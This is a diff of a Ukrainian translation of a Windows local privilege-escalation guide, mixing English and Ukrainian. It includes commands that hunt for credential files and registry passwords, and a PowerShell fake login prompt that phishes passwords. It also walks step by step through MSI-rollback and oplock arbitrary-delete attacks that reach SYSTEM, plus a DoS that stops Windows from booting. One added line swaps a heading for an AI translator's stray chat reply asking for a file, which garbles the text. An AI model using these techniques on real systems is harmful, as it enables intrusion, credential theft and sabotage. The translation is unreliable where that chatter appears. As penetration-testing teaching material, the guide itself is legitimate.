об'єкт містить відомості про GPP та розташування файлу, що допомагає у виявленні та усуненні цієї вразливості. -Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1074,7 +1076,7 @@ gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### IIS Web конфігурація ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1098,7 +1100,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### Облікові дані OpenVPN +### OpenVPN облікові дані ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1128,7 +1130,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Ask for credentials -Ви завжди можете **запросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зауважте, що **безпосереднє запитування** клієнта щодо **credentials** є справді **ризикованим**): +Ви завжди можете **попросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зауважте, що **прохання** клієнта безпосередньо надати **credentials** є дійсно **ризикованим**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1202,7 +1204,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Пошук усіх запропонованих файлів: +I don’t have access to your files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or attach the file). I will translate the English text to Ukrainian, preserving all markdown/html, tags, links, paths, and not translating code or technical names. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1211,13 +1213,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Облікові дані в Кошику +### Облікові дані у RecycleBin -Вам також слід перевірити Кошик на наявність облікових даних +Також перевірте Bin, щоб знайти в ньому облікові дані -Щоб **відновити паролі**, збережені кількома програмами, ви можете скористатися: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Щоб **відновити паролі**, збережені різними програмами, ви можете використати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Всередині реєстру +### У реєстрі **Інші можливі ключі реєстру з обліковими даними** ```bash @@ -1230,8 +1232,8 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Історія браузерів -Варто перевірити бази даних (dbs), де зберігаються паролі від **Chrome or Firefox**.\ -Також перевірте історію, закладки та favourites браузерів — можливо там збережено якісь **паролі**. +Ви повинні перевірити бази даних (dbs), де зберігаються паролі від **Chrome or Firefox**.\ +Також перевірте історію, закладки та улюблені браузерів — можливо, там зберігаються деякі **паролі**. Інструменти для витягання паролів з браузерів: @@ -1242,26 +1244,26 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL Overwriting** -**Component Object Model (COM)** — технологія, вбудована в операційну систему Windows, яка дозволяє **intercommunication** між компонентами програмного забезпечення, написаними різними мовами. Кожен COM компонент **identified via a class ID (CLSID)**, і кожен компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих через interface IDs (IIDs). +**Component Object Model (COM)** — технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами, написаними різними мовами. Кожний COM-компонент **ідентифікується за допомогою class ID (CLSID)**, і кожний компонент надає функціональність через одну або кілька інтерфейсів, ідентифікованих за допомогою interface IDs (IIDs). -COM класи та інтерфейси визначені в реєстрі під ключами **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM-класи та інтерфейси визначені в реєстрі під **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей розділ реєстру створюється шляхом об'єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Всередині CLSID-ів цього розділу реєстру можна знайти дочірній ключ **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). +Всередині CLSID-ів цього розділу ви можете знайти дочірній розділ реєстру **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Однопотоковий), **Free** (Багатопотоковий), **Both** (Одно- або багатопотоковий) або **Neutral** (Нейтральний щодо потоку). ![](<../../images/image (729).png>) -Загалом, якщо ви зможете **overwrite any of the DLLs**, які будуть виконані, ви можете **escalate privileges**, якщо цей DLL буде виконуватися іншим користувачем. +По суті, якщо ви можете **перезаписати будь-який із DLL**, які будуть виконані, ви можете **підвищити привілеї**, якщо цей DLL буде виконуватися іншим користувачем. -Щоб дізнатися, як зловмисники використовують COM Hijacking як механізм persistence, перевірте: +Щоб дізнатися, як зловмисники використовують COM Hijacking як механізм персистенції, перегляньте: {{#ref}} com-hijacking.md {{#endref}} -### **Загальний пошук паролів у файлах та реєстрі** +### **Загальний пошук паролів у файлах і реєстрі** -**Пошук по вмісту файлів** +**Пошук вмісту файлів** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1280,13 +1282,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Інструменти для пошуку passwords +### Інструменти, що шукають passwords [**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін для **automatically execute every metasploit POST module that searches for credentials** всередині жертви.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягування password із системи. +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — це ще один чудовий інструмент для витягування password із системи. -Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** у кількох програмах, які зберігають ці дані в clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** кількох програм, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1295,30 +1297,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Уявіть собі, що **процес, який працює під SYSTEM, відкриває новий процес** (`OpenProcess()`) з **full access**. Той самий процес **також створює новий процес** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ -Тоді, якщо у вас є **full access to the low privileged process**, ви можете отримати **open handle to the privileged process created** з `OpenProcess()` і **inject a shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Уявіть, що **процес, який виконується як SYSTEM відкриває новий процес** (`OpenProcess()`) з **full access**. Той самий процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті handles головного процесу**.\ +Тоді, якщо ви маєте **full access до процесу з низькими привілеями**, ви можете отримати **відкритий handle привілейованого процесу, створеного** через `OpenProcess()` і **inject a shellcode**.\ +[Прочитайте цей приклад для отримання додаткової інформації про **як виявити та експлуатувати цю вразливість**.](leaked-handle-exploitation.md)\ +[Прочитайте це **інше повідомлення для більш повного пояснення того, як тестувати та зловживати іншими відкритими handles процесів та потоків, успадкованих з різними рівнями дозволів (не лише full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation Сегменти спільної пам'яті, які називають **pipes**, дозволяють процесам обмінюватися даними та передавати інформацію. -Windows надає можливість, відому як **Named Pipes**, що дозволяє непов'язаним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначені як **named pipe server** та **named pipe client**. +Windows надає функціональність **Named Pipes**, що дозволяє незалежним процесам обмінюватися даними, навіть через різні мережі. Це нагадує архітектуру client/server, з ролями **named pipe server** і **named pipe client**. -Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **take on the identity** клієнта, за умови наявності необхідних прав **SeImpersonate**. Виявлення **privileged process**, який спілкується через pipe, який ви можете імітувати, дає можливість **gain higher privileges** шляхом прийняття ідентичності цього процесу, коли він взаємодіє з pipe, який ви встановили. Для інструкцій із виконання такої атаки корисні керівництва можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system). +Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **прийняти ідентичність** **client**, за умови наявності необхідних прав **SeImpersonate**. Виявлення **privileged process**, який спілкується через pipe, який ви можете імітувати, дає змогу **отримати вищі привілеї**, перейнявши ідентичність цього процесу, щойно він взаємодіє з pipe, який ви встановили. Для інструкцій щодо виконання такої атаки корисні керівництва [**тут**](named-pipe-client-impersonation.md) та [**тут**](#from-high-integrity-to-system). -Також наступний інструмент дозволяє **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Також наступний інструмент дозволяє **перехоплювати передавання через named pipe за допомогою інструменту на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічити та переглянути всі pipes для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Різне -### Розширення файлів, які можуть виконувати код у Windows +### File Extensions that could execute stuff in Windows -Перегляньте сторінку **[https://filesec.io/](https://filesec.io/)** +Перегляньте сторінку **https://filesec.io/** ### **Monitoring Command Lines for passwords** -Коли ви отримуєте shell від імені користувача, можуть виконуватися scheduled tasks або інші процеси, які **pass credentials on the command line**. Скрипт нижче перехоплює process command lines кожні дві секунди і порівнює поточний стан з попереднім, виводячи будь-які відмінності. +Отримавши shell як користувач, можуть бути заплановані завдання або інші процеси, що виконуються і які **передають облікові дані в командному рядку**. Наведений нижче скрипт знімає command lines процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності. ```bash while($true) { @@ -1328,15 +1330,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Крадіжка паролів із процесів +## Викрадення паролів із процесів -## Від Low Priv User до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Від користувача з низькими правами до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Якщо ви маєте доступ до графічного інтерфейсу (через console або RDP) та UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", від імені непривілейованого користувача. +Якщо у вас є доступ до графічного інтерфейсу (через console або RDP) та UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", від імені непривілейованого користувача. -Це дозволяє ескалацію привілеїв та одночасно обійти UAC за тією ж вразливістю. Крім того, немає потреби встановлювати нічого, і бінарний файл, що використовується в процесі, підписаний і випущений Microsoft. +Це дозволяє одночасно підвищити привілеї та bypass UAC через одну й ту саму вразливість. Крім того, немає потреби нічого встановлювати, а бінарний файл, що використовується в процесі, підписаний і випущений Microsoft. -Деякі з уражених систем: +Деякі з уражених систем є наступними: ``` SERVER ====== @@ -1358,7 +1360,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Щоб експлуатувати цю вразливість, необхідно виконати такі кроки: +Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1376,20 +1378,20 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -У вас є всі необхідні файли та інформація в наступному репозиторії GitHub: +Ви маєте всі необхідні файли та інформацію у наступному репозиторії GitHub: https://github.com/jas502n/CVE-2019-1388 -## Від Administrator (Medium) до High Integrity Level / UAC Bypass +## Від Administrator Medium до High Integrity Level / UAC Bypass -Прочитайте це, щоб **дізнатися про Integrity Levels**: +Прочитайте це, щоб дізнатися про Integrity Levels: {{#ref}} integrity-levels.md {{#endref}} -Потім **прочитайте це, щоб дізнатися про UAC та UAC bypasses:** +Потім прочитайте це, щоб дізнатися про UAC та UAC bypasses: {{#ref}} @@ -1398,94 +1400,94 @@ integrity-levels.md ## Від Arbitrary Folder Delete/Move/Rename до SYSTEM EoP -Техніка, описана [**в цьому блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлоїта [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Техніка, описана в цьому [**блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлойту [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Атака по суті полягає в зловживанні можливістю rollback Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючому потрібно створити **malicious MSI installer**, який буде використано для перехоплення папки `C:\Config.Msi`, яка пізніше буде використана Windows Installer для збереження rollback файлів під час деінсталяції інших MSI пакетів, де rollback файли були б змінені для містити шкідливий payload. +Атака в основному полягає в зловживанні функцією rollback Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючому потрібно створити **шкідливий MSI інсталятор**, який буде використовуватися для захоплення папки `C:\Config.Msi`, яка пізніше буде використовуватися Windows Installer для збереження файлів rollback під час деінсталяції інших MSI-пакетів, де файли rollback будуть змінені, щоб містити шкідливий payload. -Стислий опис техніки такий: +Стислий опис техніки: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Створіть `.msi`, який встановлює нешкідливий файл (наприклад, `dummy.txt`) у записувану папку (`TARGETDIR`). +- Позначте інсталятор як **"UAC Compliant"**, щоб **non-admin user** міг його запускати. +- Після інсталяції тримайте відкритий **handle** до файлу. - Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- Деінсталюйте той самий `.msi`. +- Процес деінсталяції починає переміщувати файли до `C:\Config.Msi` і перейменовувати їх у файли з розширенням `.rbf` (rollback backups). +- **Опитуйте відкритий handle** за допомогою `GetFinalPathNameByHandle`, щоб виявити момент, коли файл стане `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- `.msi` включає **custom uninstall action (`SyncOnRbfWritten`)**, яка: +- Сигналізує, коли `.rbf` записано. +- Потім **чекає** на іншу подію перед продовженням деінсталяції. - Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- Коли отримано сигнал, **відкрийте файл `.rbf`** без `FILE_SHARE_DELETE` — це **перешкоджає його видаленню**. +- Потім **відправте сигнал назад**, щоб деінсталяція могла завершитись. +- Windows Installer не може видалити `.rbf`, і оскільки він не може видалити весь вміст, **`C:\Config.Msi` не видаляється**. - Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- Ви (атакуючий) вручну видаляєте файл `.rbf`. +- Тепер **`C:\Config.Msi` порожня**, готова до захоплення. -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> На цьому етапі **trigger the SYSTEM-level arbitrary folder delete vulnerability** для видалення `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- Відтворіть папку `C:\Config.Msi` самостійно. +- Встановіть **слабкі DACLs** (наприклад, Everyone:F), і **тримайте відкритий handle** з `WRITE_DAC`. - Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- Інсталюйте `.msi` знову, з: +- `TARGETDIR`: записувана локація. +- `ERROROUT`: змінна, що викликає навмисну помилку. +- Ця інсталяція буде використана для повторного виклику **rollback**, який читає `.rbs` і `.rbf`. - Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- Використайте `ReadDirectoryChangesW` для моніторингу `C:\Config.Msi`, доки не з’явиться новий `.rbs`. +- Зафіксуйте його ім’я файлу. - Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- `.msi` містить **custom install action (`SyncBeforeRollback`)**, яка: +- Сигналізує подію при створенні `.rbs`. +- Потім **чекає** перед продовженням. - Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- Після отримання події «`.rbs created`»: +- Windows Installer **заново застосовує сильні ACL** до `C:\Config.Msi`. +- Але оскільки у вас ще є handle з `WRITE_DAC`, ви можете **заново застосувати слабкі ACL** знову. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACL застосовуються **тільки під час відкриття handle**, тож ви все ще можете записувати до папки. - Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- Перезапишіть файл `.rbs` фейковим rollback-скриптом, який наказує Windows: +- Відновити ваш `.rbf` (шкідливий DLL) у **привілейовану локацію** (наприклад, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Помістити ваш фейковий `.rbf`, що містить **шкідливий SYSTEM-рівневий payload DLL**. - Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- Сигналізуйте sync-подію, щоб інсталятор продовжив роботу. +- Налаштовано **type 19 custom action (`ErrorOut`)**, щоб **навмисно провалити інсталяцію** у відомій точці. +- Це спричиняє початок **rollback**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- Читає ваш шкідливий `.rbs`. +- Копіює ваш `.rbf` DLL у цільове розташування. +- Тепер у вас є **шкідливий DLL у шляху, що завантажується як SYSTEM**. - Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- Запустіть довірений **auto-elevated binary** (наприклад, `osk.exe`), який завантажує DLL, яку ви підмінили. +- **Boom**: ваш код виконується **як SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Від Arbitrary File Delete/Move/Rename до SYSTEM EoP -The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? +Головна MSI rollback техніка (попередня) припускає, що ви можете видалити **цілу папку** (наприклад, `C:\Config.Msi`). Але що, якщо ваша вразливість дозволяє тільки **довільне видалення файлу**? -You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: +Ви можете експлуатувати внутрішні механізми NTFS: кожна папка має прихований alternate data stream під назвою: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` @@ -1493,37 +1495,37 @@ C:\SomeFolder::$INDEX_ALLOCATION Отже, якщо ви **видалите потік `::$INDEX_ALLOCATION`** папки, NTFS **видалить всю папку** з файлової системи. -Ви можете зробити це за допомогою стандартних API видалення файлів, наприклад: +Цього можна досягти, використовуючи стандартні API для видалення файлів, наприклад: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Навіть якщо ви викликаєте *file* delete API, воно **видаляє саму папку**. +> Навіть якщо ви викликаєте API видалення *файлу*, воно **видаляє саму папку**. ### Від Folder Contents Delete до SYSTEM EoP -Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видаляти *вміст* папки, контрольованої атакуючим**? +Що якщо ваш примітив не дозволяє видаляти довільні файли/папки, але він **дозволяє видалення *вмісту* папки, контрольованої зловмисником**? 1. Крок 1: Налаштуйте папку-приманку та файл - Створіть: `C:\temp\folder1` -- Всередині неї: `C:\temp\folder1\file1.txt` +- Усередині: `C:\temp\folder1\file1.txt` -2. Крок 2: Розмістіть **oplock** на `file1.txt` -- **oplock** **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. +2. Крок 2: Встановіть **oplock** на `file1.txt` +- Цей oplock **призупиняє виконання**, коли привілейований процес намагається видалити `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Крок 3: Запустити SYSTEM-процес (наприклад, `SilentCleanup`) +3. Крок 3: Запустіть процес SYSTEM (наприклад, `SilentCleanup`) - Цей процес сканує папки (наприклад, `%TEMP%`) і намагається видалити їхній вміст. -- Коли він досягає `file1.txt`, **oplock спрацьовує** і передає контроль вашому callback. +- Коли він доходить до `file1.txt`, **oplock спрацьовує** і передає контроль вашому callback. -4. Крок 4: Усередині oplock callback – перенаправити видалення +4. Крок 4: Усередині oplock callback – перенаправте видалення -- Варіант A: Перемістити `file1.txt` в інше місце -- Це звільняє `folder1`, не порушуючи oplock. -- Не видаляйте `file1.txt` безпосередньо — це б передчасно звільнило oplock. +- Варіант A: Перемістіть `file1.txt` в інше місце +- Це очищує `folder1`, не порушуючи oplock. +- Не видаляйте `file1.txt` безпосередньо — це передчасно звільнить oplock. -- Варіант B: Перетворити `folder1` на **junction**: +- Варіант B: Перетворіть `folder1` на **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1536,8 +1538,8 @@ CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") > Це націлене на внутрішній потік NTFS, який зберігає метадані папки — його видалення видаляє папку. 5. Крок 5: Звільнення oplock -- Процес SYSTEM продовжує і намагається видалити `file1.txt`. -- Але тепер, через junction + symlink, насправді видаляється: +- Процес SYSTEM продовжує працювати і намагається видалити `file1.txt`. +- Але тепер, через junction + symlink, фактично видаляє: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` @@ -1545,56 +1547,56 @@ C:\Config.Msi::$INDEX_ALLOCATION ### Від Arbitrary Folder Create до постійного DoS -Використайте примітив, який дозволяє вам **create an arbitrary folder as SYSTEM/admin** — навіть якщо **ви не можете записувати файли** або **встановлювати слабкі дозволи**. +Скористайтеся примітивом, що дозволяє вам **create an arbitrary folder as SYSTEM/admin** — навіть якщо **you can’t write files** або **set weak permissions**. -Створіть **folder** (не **file**) з іменем **critical Windows driver**, наприклад: +Створіть **folder** (не **file**) з назвою **critical Windows driver**, наприклад: ``` C:\Windows\System32\cng.sys ``` - Цей шлях зазвичай відповідає драйверу в режимі ядра `cng.sys`. - Якщо ви **попередньо створите його як папку**, Windows не зможе завантажити фактичний драйвер під час завантаження. -- Тоді Windows намагається завантажити `cng.sys` під час завантаження. -- Windows бачить папку, **не може знайти фактичний драйвер**, і **викликає збій або припиняє завантаження**. -- Немає **резервного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, відновлення завантаження або доступ до диска). +- Потім Windows намагається завантажити `cng.sys` під час завантаження. +- Windows бачить папку, **не може знайти фактичний драйвер**, і **зависає або припиняє завантаження**. +- Немає **резервного варіанту**, і **відновлення неможливе** без зовнішнього втручання (наприклад, ремонт завантаження або доступ до диска). -## **З High Integrity до SYSTEM** +## **Від High Integrity до SYSTEM** ### **Нова служба** -Якщо ви вже працюєте в процесі High Integrity, **шлях до SYSTEM** може бути простим — просто **створенням і запуском нової служби**: +Якщо ви вже працюєте в процесі High Integrity, **шлях до SYSTEM** може бути простим — просто **створити та запустити нову службу**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> При створенні бінарного файлу для служби переконайтеся, що це дійсна служба або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде завершено через 20 с, якщо це не дійсна служба. +> Коли створюєте service binary, переконайтеся, що це дійсна служба або що бінарний файл виконує необхідні дії достатньо швидко, оскільки його буде зупинено через 20s, якщо це не дійсна служба. ### AlwaysInstallElevated -З процесу High Integrity ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шел за допомогою обгортки _**.msi**_.\ +З процесу High Integrity можна спробувати **увімкнути записи реєстру AlwaysInstallElevated** і **встановити** reverse shell, використовуючи _**.msi**_ wrapper.\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** +**Ви можете** [**знайти код тут**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Якщо у вас є ці привілеї токена (ймовірно ви знайдете їх у вже High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не protected processes) з привілеєм SeDebug, **скопіювати токен** процесу та створити **довільний процес з цим токеном**.\ -Зазвичай при використанні цієї техніки **обирають процес, що працює як SYSTEM з усіма привілеями токена** (_так, можна знайти SYSTEM процеси без усіх привілеїв токена_).\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +Якщо у вас є ці права токена (ймовірно ви знайдете їх у вже High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу та створити **довільний процес з цим токеном**.\ +Зазвичай для цієї техніки **обирають будь-який процес, що працює під SYSTEM з усіма привілеями токена** (_так, можна знайти 